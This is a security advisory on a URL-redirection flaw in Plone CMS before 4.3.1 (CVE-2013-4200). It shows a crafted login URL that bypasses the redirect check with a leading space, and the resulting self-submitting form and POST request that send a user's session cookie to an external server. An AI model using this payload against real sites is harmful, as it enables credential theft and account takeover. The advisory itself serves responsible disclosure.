Plone CMS Credential Disclosure

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#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
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#  
# Product: Plone CMS  
# Vendor: Plone Foundation (http://plone.org)  
# ID(s): CSNC-2013-013, CVE-2013-4200  
# Subject: URL Redirection Vulnerability  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Cyrill Bannwart <[email protected]>  
# Date: 20/05/2013  
#  
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Introduction:  
-------------  
The discovered vulnerability targets the open source Plone CMS. The  
credentials of a valid user can be obtained by using a specially  
crafted URL which can be sent to the user by email. When clicking on  
the URL, the user is presented with the website's login form and after  
a successful login the user as well as his credentials are forwarded to  
an external server. This vulnerability can be used by an attacker to  
obtain access to a user's account.  
  
  
Affected:  
---------  
Vulnerable:  
* Plone < 4.3.1  
  
  
Technical Description:  
----------------------  
An attacker can craft a URL for the login form where his victim has  
valid credentials. The created URL contains a redirection URL to which  
the user as well as his credentials are forwarded after a successful  
login. This URL can be sent to the victim by mail.  
  
By inserting a space before the redirection URL the isURLInPortal()  
method of the URLTool class assumes the URL to be relative, not  
filtering it against the allow_external_login_sites property.  
  
Example of crafted URL:  
https://example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch  
  
Once the victim clicks on the URL and logs in, a self-submitting POST  
form is loaded that sends the user and his credentials to the external  
server.  
  
Example excerpt of HTTP Response:  
HTTP/1.1 200 OK  
Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly  
[CUT]  
<form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch">  
<input type="hidden" name="__ac" value="<CREDENTIALS>" />  
</form>  
<script type="text/javascript">  
/*jslint browser: true */  
var external_login_form = document.forms.external_login_form;  
external_login_form.style.display = 'none';  
external_login_form.submit();  
</script>  
  
And resulting HTTP POST Request:  
POST / HTTP/1.1  
Host: www.csnc.ch  
Referer: https://www.example.com/login_form  
[CUT]  
__ac=<CREDENTIALS>  
  
The obtained credentials / cookie content can be used by the attacker to  
login to the website and gain access to the victim's account.  
  
The login form allows further URL parameters such as the password reset  
link or the sign up URL that can also be tricked into accepting  
non-relative URLs.  
  
  
Workaround / Fix / Patch:  
-------------------------  
Patch has been released by vendor  
  
  
Timeline:  
---------  
2013-05-08: Vulnerability discovered  
2013-05-20: Vendor notified  
2013-05-21: Vendor acknowledged  
2013-06-18: Patch released  
2013-07-02: Patch updated  
2014-01-16: Disclosure  
  
  
References:  
-----------  
https://plone.org/products/plone/security/advisories/20130618-announcement   
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200  
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